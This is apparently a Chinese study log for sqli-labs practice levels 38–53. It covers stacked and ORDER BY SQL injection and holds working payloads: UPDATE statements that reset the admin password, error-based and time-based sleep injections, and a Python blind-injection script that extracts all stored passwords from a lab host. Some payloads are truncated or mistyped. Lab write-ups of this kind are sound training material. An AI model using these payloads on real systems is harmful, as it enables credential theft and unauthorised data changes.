学习记录
- 前置知识
- 堆叠注入
- order by 相关注入
- 简单介绍
- 注入方法
- procedure analyse参数后注入
- 第38关 ------ 简单堆叠注入
- 第39关 ------ 数字型+堆叠注入
- 第40关 ------ 闭合`')`+堆叠注入
- 第41关 ------ 盲注+堆叠注入
- 第42关 ------ POST型+堆叠注入
- 第43关 ------ 类似42关(堆叠注入)
- 第44关 ------ 盲注+堆叠注入
- 第45关 ------ 盲注 + 堆叠注入
- 第46关 ------ order by 注入
- 第47关 ------ 浪费时间的题
- 第48关 ------ 浪费时间的题
- 第49关 ------ 浪费时间的辣鸡题、
- 第50关 ------ order by stacked injection(参考Mysql天书)
- 第51关 ------ 训练堆叠注入
- 第52和53关 ------ 无回显
前置知识
堆叠注入
本来想写的,但是网上一堆堆就不班门弄斧了,看师傅们的吧
堆叠注入详解
order by 相关注入
简单介绍
以sql 语句为例$sql = "SELECT * FROM users ORDER BY $id";
试?sort=1 desc 或者 asc
,显示结果不同,则表明可以注入。(升序 or 降序排列)对应英文单词descending,ascending
我们可利用 order by 后的一些参数进行注入
注入方法
- 1.直接添加注入语句,?sort=(select ******)
- 2.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
比如说rand(true/false) - 3.利用 and,例如?sort=1 and (sql 语句)。
- 当然还可以使用报错注入等方式,但需要针对不同的情形
procedure analyse参数后注入
通常我们可以利用它与sort函数一起执行报错注入
procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。
语法:
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。
第38关 ------ 简单堆叠注入
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
成功插入语句hhh
第39关 ------ 数字型+堆叠注入
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=$id LIMIT 0,1
之后采用堆叠注入插入数据
测试数据,成功hhh
第40关 ------ 闭合')+堆叠注入
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
之后采用堆叠注入插入数据,成功执行
查询成功hhh
第41关 ------ 盲注+堆叠注入
经过简单的测试我们推测sql语句为:
SELECT * FROM users WHERE id=$id LIMIT 0,1
,与39关差不多哈,就是没了错误回显
这一关不插入太多数据了,用update语句修改下发现没问题
第42关 ------ POST型+堆叠注入
首先看源码,很明显得从password注入
通过判断得到sql语句
SELECT * FROM users WHERE username='$username' and password='$password'
密码输入1';sql语句;
第43关 ------ 类似42关(堆叠注入)
没有waf,只是sql语句改成了:
SELECT * FROM users WHERE username=('$username') and password=('$password')
利用语句:
c');你的sql语句;#
第44关 ------ 盲注+堆叠注入
与42关一样,只是这关没有报错信息;试一下修改admin密码
1';update users set password = '2' where username = 'admin';--
修改成功,再次用原来的密码登录就会报错
第45关 ------ 盲注 + 堆叠注入
算了这关老实一点,通过测试发现sql语句为:
"SELECT * FROM users WHERE username=('$username') and password=('$password')"
我们测试一下把密码改回来;
2');update users set password = '1' where username = 'admin';--
用密码为1登录,发现没问题哈哈哈
第46关 ------ order by 注入
这里我选择了盲注,根据rand的true与false的不同
import requests
from bs4 import BeautifulSoup
url = "http://139.196.26.141:8082/Less-46/?sort=rand("
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'ascii(substr((select group_concat(password) from users),{i},1))>{mid})'
r = requests.get(url+payload)
soup = BeautifulSoup(r.text, 'lxml')
if 'admin3' in soup.find_all("td")[1]:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
当然也可以使用延时的
sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep (5))
不过一般很慢不喜欢
对于报错注入也可以加上procedure analyse
来执行
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
第47关 ------ 浪费时间的题
与上一关差不多就是加了个'
而已,
/?sort=1' and rand(false)--+
可以配合盲注很简单不多说
procedure analyse 参数后注入也行看上面,延时注入也行很简单,其他都不想说了,浪费时间的一关
第48关 ------ 浪费时间的题
本关与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧 是可以使用的。 可以利用 sort=rand(true/false)进行判断。
?sort=rand(ascii(left(database(),1))=178)
And 后的延时注入sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee p(5)))
不看了无聊的题
第49关 ------ 浪费时间的辣鸡题、
有啥好做的无聊,和47关没区别,就是没错无回显
第50关 ------ order by stacked injection(参考Mysql天书)
执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli _query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 sta tcked injection。
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下 stacked in jection。我们直接构造 payload:
sort=1;create table less50 like u
第51关 ------ 训练堆叠注入
它的sql语句是sql="SELECT * FROM users ORDER BY '$id'";
所以构造如下即可无聊
sort=1’;create table less50 like u
第52和53关 ------ 无回显
这题我觉得做的意义不太大,和前面一样只是没错无回显了